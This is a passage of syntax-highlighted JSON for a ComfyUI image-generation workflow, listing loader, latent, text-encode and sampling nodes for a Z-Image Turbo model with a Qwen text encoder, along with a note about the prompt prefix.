class="punctuation">[</span><span class="number">1454.93896484375</span><span class="punctuation">,</span><span class="number">190.9700164794922</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">976.0567626953125</span><span class="punctuation">,</span><span class="number">1060.9766845703125</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">10</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;图片&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;images&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;IMAGE&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">16</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;文件名前缀&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;filename_prefix&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;STRING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;filename_prefix&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;ComfyUI&quot;</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">15</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;Note&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">71.95149993896484</span><span class="punctuation">,</span><span class="number">192.96051025390625</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">319.26513671875</span><span class="punctuation">,</span><span class="number">197.89625549316406</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;The \&quot;You are an assistant... &lt;Prompt Start&gt; \&quot; text before the actual prompt is the one used in the official example.\n\nThe reason it is exposed to the user like this is because the model still works if you modify or remove it.&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;color&quot;</span><span class="punctuation">:</span><span class="string">&quot;#432&quot;</span><span class="punctuation">,</span><span class="attr">&quot;bgcolor&quot;</span><span class="punctuation">:</span><span class="string">&quot;#653&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">17</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAELoader&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">71.22825209024009</span><span class="punctuation">,</span><span class="number">614.4132208648346</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">270</span><span class="punctuation">,</span><span class="number">58</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">1</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;vae名称&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;vae_name&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;vae_name&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAE&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAE&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAE&quot;</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">45</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;VAELoader&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;ae.safetensors&quot;</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">13</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;EmptySD3LatentImage&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">530</span><span class="punctuation">,</span><span class="number">620</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">315</span><span class="punctuation">,</span><span class="number">106</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">2</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;宽度&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;width&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;INT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;width&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;高度&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;height&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;INT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;height&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;批量大小&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;batch_size&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;INT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;batch_size&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;Latent&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;LATENT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;slot_index&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">17</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;EmptySD3LatentImage&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">1024</span><span class="punctuation">,</span><span class="number">1024</span><span class="punctuation">,</span><span class="number">1</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">7</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIPTextEncode&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">420</span><span class="punctuation">,</span><span class="number">400</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">425.27801513671875</span><span class="punctuation">,</span><span class="number">180.6060791015625</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">6</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;clip&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;clip&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">44</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;文本&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;text&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;STRING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;text&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;条件&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CONDITIONING&quot;</span><span class="punctuation">,</span><span class="attr">&quot;slot_index&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">6</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;title&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP Text Encode (Negative Prompt)&quot;</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIPTextEncode&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;blurry ugly bad&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;color&quot;</span><span class="punctuation">:</span><span class="string">&quot;#322&quot;</span><span class="punctuation">,</span><span class="attr">&quot;bgcolor&quot;</span><span class="punctuation">:</span><span class="string">&quot;#533&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">18</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIPLoader&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">80</span><span class="punctuation">,</span><span class="number">460</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">270</span><span class="punctuation">,</span><span class="number">106</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">3</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP名称&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;clip_name&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;clip_name&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;类型&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;type&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;type&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;设备&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;device&quot;</span><span class="punctuation">,</span><span class="attr">&quot;shape&quot;</span><span class="punctuation">:</span><span class="number">7</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;device&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIP&quot;</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">43</span><span class="punctuation">,</span><span class="number">44</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;CLIPLoader&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;qwen_3_4b.safetensors&quot;</span><span class="punctuation">,</span><span class="string">&quot;lumina2&quot;</span><span class="punctuation">,</span><span class="string">&quot;default&quot;</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">16</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;UNETLoader&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">80</span><span class="punctuation">,</span><span class="number">60</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">270</span><span class="punctuation">,</span><span class="number">82</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">4</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">0</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;UNet名称&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;unet_name&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;unet_name&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;数据类型&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;weight_dtype&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;COMBO&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;weight_dtype&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;模型&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">,</span><span class="attr">&quot;links&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">42</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;properties&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;cnr_id&quot;</span><span class="punctuation">:</span><span class="string">&quot;comfy-core&quot;</span><span class="punctuation">,</span><span class="attr">&quot;ver&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.3.75&quot;</span><span class="punctuation">,</span><span class="attr">&quot;Node name for S&amp;R&quot;</span><span class="punctuation">:</span><span class="string">&quot;UNETLoader&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;widgets_values&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">&quot;z_image_turbo_bf16.safetensors&quot;</span><span class="punctuation">,</span><span class="string">&quot;default&quot;</span><span class="punctuation">]</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;id&quot;</span><span class="punctuation">:</span><span class="number">11</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;ModelSamplingAuraFlow&quot;</span><span class="punctuation">,</span><span class="attr">&quot;pos&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">390</span><span class="punctuation">,</span><span class="number">60</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;size&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="number">315</span><span class="punctuation">,</span><span class="number">58</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;flags&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;order&quot;</span><span class="punctuation">:</span><span class="number">7</span><span class="punctuation">,</span><span class="attr">&quot;mode&quot;</span><span class="punctuation">:</span><span class="number">4</span><span class="punctuation">,</span><span class="attr">&quot;inputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;模型&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;model&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;MODEL&quot;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="number">42</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="punctuation">&#123;</span><span class="attr">&quot;localized_name&quot;</span><span class="punctuation">:</span><span class="string">&quot;移位&quot;</span><span class="punctuation">,</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;shift&quot;</span><span class="punctuation">,</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;FLOAT&quot;</span><span class="punctuation">,</span><span class="attr">&quot;widget&quot;</span><span class="punctuation">:</span><span class="punctuation">&#123;</span><span class="attr">&quot;name&quot;</span><span class="punctuation">:</span><span class="string">&quot;shift&quot;</span><span class="punctuation">&#125;</span><span class="punctuation">,</span><span class="attr">&quot;link&quot;</span><span class="punctuation">:</span><span class="literal"><span class="keyword">null</span></span><span class="punctuation">&#125;</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">&quot;outputs&quot;</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="punctuation">&#123;</span><span 